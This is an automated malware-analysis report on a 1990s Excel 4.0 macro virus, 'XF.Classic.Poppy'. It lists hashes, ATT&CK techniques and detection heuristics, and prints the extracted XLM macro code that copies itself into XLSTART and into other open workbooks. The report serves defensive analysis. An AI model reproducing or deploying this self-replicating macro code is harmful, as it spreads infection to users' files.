Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e3c61b4d08134c10…

MALICIOUS

Office (OLE)

26.0 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-09-15
MD5: 034abf4a4d9b2ed728697aeaf97d3a18 SHA-1: b49aa4a3a15d049d4fb31beb1dfd97f3f1ca361e SHA-256: e3c61b4d08134c10f4b666058a0f07eec4da4425d25e5dc03d624db9e8309813
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file is an Excel 4.0 macro-enabled workbook containing an Auto_Open macro, identified by multiple critical heuristics. The macro sheet contains references to dangerous functions like RUN, indicating it's designed to execute arbitrary code. The presence of strings like 'Classic.Poppy by VicodinES' and 'The Narkotic Network 1998' suggests it's a variant of a known macro virus, likely intended to infect other workbooks or download a secondary payload.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Legacy Excel formula macro virus marker critical OLE_XLS_FORMULA_MACRO_VIRUS
    Workbook stream contains self-identifying legacy Excel formula macro virus markers. This indicates the document carries formula macro virus content even when no VBA project or modern XLM macro-sheet structure is present.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 7251 bytes
SHA-256: e1619513a42c978890db5383c5bfe5810c63ad64be75a18da4e35934be4ef7e5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden -  XL4Popp
' 0018     29 LABEL : Cell Value, String Constant - abc len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00'
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 2 Auto_Close len=7 ptgRef3d 4!C4 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d 4!C4 
' 0018     26 LABEL : Cell Value, String Constant - Bust len=7 ptgRef3d 4!C31 
' 0018     30 LABEL : Cell Value, String Constant - Continue len=7 ptgRef3d 4!C9 
' 0018    113 LABEL : Cell Value, String Constant - Document_array len=8 ptgArrayA  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x01\x00\x00\x10\x8d\x1e\x01'
' 0018     41 LABEL : Cell Value, String Constant - Documents_array len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x04\x00\x00\x00\x0f\x00\x01\x00\x01\x00'
' 0018     29 LABEL : Cell Value, String Constant - fer len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x00\x00\x00\x00\x0c\x00\x01\x00\x01\x00'
' 0018     27 LABEL : Cell Value, String Constant - Hello len=7 ptgRef3d 4!A15 
' 0018     28 LABEL : Cell Value, String Constant - MakeIt len=7 ptgRef3d 4!A26 
' 0018     29 LABEL : Cell Value, String Constant - Morning len=7 ptgRef3d 4!C39 
' 0018     27 LABEL : Cell Value, String Constant - Poppy len=7 ptgRef3d 4!C27 
' 0018     39 LABEL : Cell Value, String Constant - Print_Area_MI len=11 ptgArea3d  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x02\x00\x00\x00[\x00\x00\x00\r\x00'
' 0018     24 LABEL : Cell Value, String Constant -   len=7 ptgSub *UNKNOWN TOKEN* 0x00c8 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b"<\x03\x00''"
' 0018     34 LABEL : Cell Value, String Constant -  üÈÝЬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     34 LABEL : Cell Value, String Constant -   Ìl­¬ len=7 *UNKNOWN TOKEN* 0x00c0 *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xc5\xc5\xf8\xbc\x80\xbd'
' 0018     34 LABEL : Cell Value, String Constant -  -N.Y  len=7 ptgMemNoMemNV  *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\x1aN\rT\xf0y'
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  Sheet,A4,"",1.00000000000000000000
'  Sheet,A5,"",2.00000000000000000000
'  Sheet,A6,"",3.00000000000000000000
'  Sheet,A7,"",4.00000000000000000000
'  Sheet,A8,"",5.00000000000000000000
'  Sheet,A9,"",6.00000000000000000000
'  Sheet,A10,"",7.00000000000000000000
'  Sheet,A11,"",8.00000000000000000000
'  Sheet,A12,"",9.00000000000000000000
'  Sheet,A13,"",10.00000000000000000000
'  Sheet,A14,"",11.00000000000000000000
'  Sheet,A15,"",12.00000000000000000000
'  Sheet,A16,"",13.00000000000000000000
'  Sheet,A17,"",14.00000000000000000000
'  Sheet,A18,"",15.00000000000000000000
'  Sheet,A19,"",16.00000000000000000000
'  Sheet,A20,"",17.00000000000000000000
'  Sheet,A21,"",18.00000000000000000000
'  Sheet,A22,"",19.00000000000000000000
'  Sheet,A23,"",20.00000000000000000000
'  Sheet,A24,"",21.00000000000000000000
'  Sheet,A25,"",22.00000000000000000000
'  XL4Popp,C1,WORKBOOK.HIDE("XL4Poppy"),""
'  XL4Popp,C4,RUN(C18),""
'  XL4Popp,C5,"ERROR(TRUE,Continue)",""
'  XL4Popp,C6,IF(A4=3),""
'  XL4Popp,C7,RETURN(),""
'  XL4Popp,C8,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,C9,ERROR(FALSE),""
'  XL4Popp,C10,RUN(A21),""
'  XL4Popp,C11,"ON.TIME("6:30:00 PM","Hello")",""
'  XL4Popp,C12,"ON.TIME("6:30:00 AM","Morning")",""
'  XL4Popp,C13,"ON.SHEET(,"Poppy",TRUE)",""
'  XL4Popp,C14,RETURN(),""
'  XL4Popp,A15,"ALERT("XF.Classic.Poppy by VicodinES",2)",""
'  XL4Popp,A16,"ALERT("Ò$  1 9 9 8   T h e   N a r k o t i c   N e t w o r k ",2)",""
'  XL4Popp,A17,RETURN(),""
'  XL4Popp,C18,"SET.VALUE(A3,(GET.WORKSPACE(32)&"\xlstart\Book1."))",""
'  XL4Popp,C19,"SET.NAME("Document_array",DOCUMENTS())",""
'  XL4Popp,C20,"SET.VALUE(A1,INDEX(Document_array,2))",""
'  XL4Popp,A21,"IF(FILES(A3)="Book1.",0,99)",""
'  XL4Popp,C21,"SET.VALUE(A2,INDEX(Document_array,1))",""
'  XL4Popp,A22,"ERROR(TRUE,MakeIt)",""
'  XL4Popp,C22,"SET.VALUE(A4,GET.DOCUMENT(3,"["&A1&"]"&"XL4Poppy"))",""
'  XL4Popp,A23,IF(A21=0),""
'  XL4Popp,C23,RETURN(),""
'  XL4Popp,A24,RETURN(),""
'  XL4Popp,A25,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A26,NEW(1),""
'  XL4Popp,A27,WORKBOOK.INSERT(1),""
'  XL4Popp,C27,RUN(C19),""
'  XL4Popp,A28,WORKBOOK.INSERT(1),""
'  XL4Popp,C28,"ERROR(TRUE,Bust)",""
'  XL4Popp,A29,ACTIVATE.PREV(),""
'  XL4Popp,C29,IF(A4=3),""
'  XL4Popp,A30,RUN(C18),""
'  XL4Popp,C30,RETURN(),""
'  XL4Popp,A31,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,C31,ERROR(FALSE),""
'  XL4Popp,A32,"WORKBOOK.NAME("Sheet3","Sheet99")",""
'  XL4Popp,C32,ACTIVATE.PREV(),""
'  XL4Popp,A33,"WORKBOOK.NAME("Sheet1","Sheet3")",""
'  XL4Popp,C33,RUN(C19),""
'  XL4Popp,A34,"WORKBOOK.NAME("Sheet99","Sheet1")",""
'  XL4Popp,C34,"WORKBOOK.COPY("XL4Poppy",A1)",""
'  XL4Popp,A35,"PROTECT.DOCUMENT(TRUE,,"VicodinES",TRUE)",""
'  XL4Popp,C35,*STACKERROR* not enough arguments for function: END.IF,""
'  XL4Popp,A36,WORKBOOK.PREV(),""
'  XL4Popp,C36,RETURN(),""
'  XL4Popp,A37,WORKBOOK.PREV(),""
'  XL4Popp,A38,WORKBOOK.PREV(),""
'  XL4Popp,A39,SAVE.AS(A3),""
'  XL4Popp,C39,APP.TITLE("XF.Classic.Poppy"),""
'  XL4Popp,A40,FILE.CLOSE(),""
'  XL4Popp,C40,"MESSAGE(TRUE,"VicodinES and Lord Natas greet you a good morning!")",""
'  XL4Popp,A41,RETURN(),""
'  XL4Popp,C41,RETURN(),""

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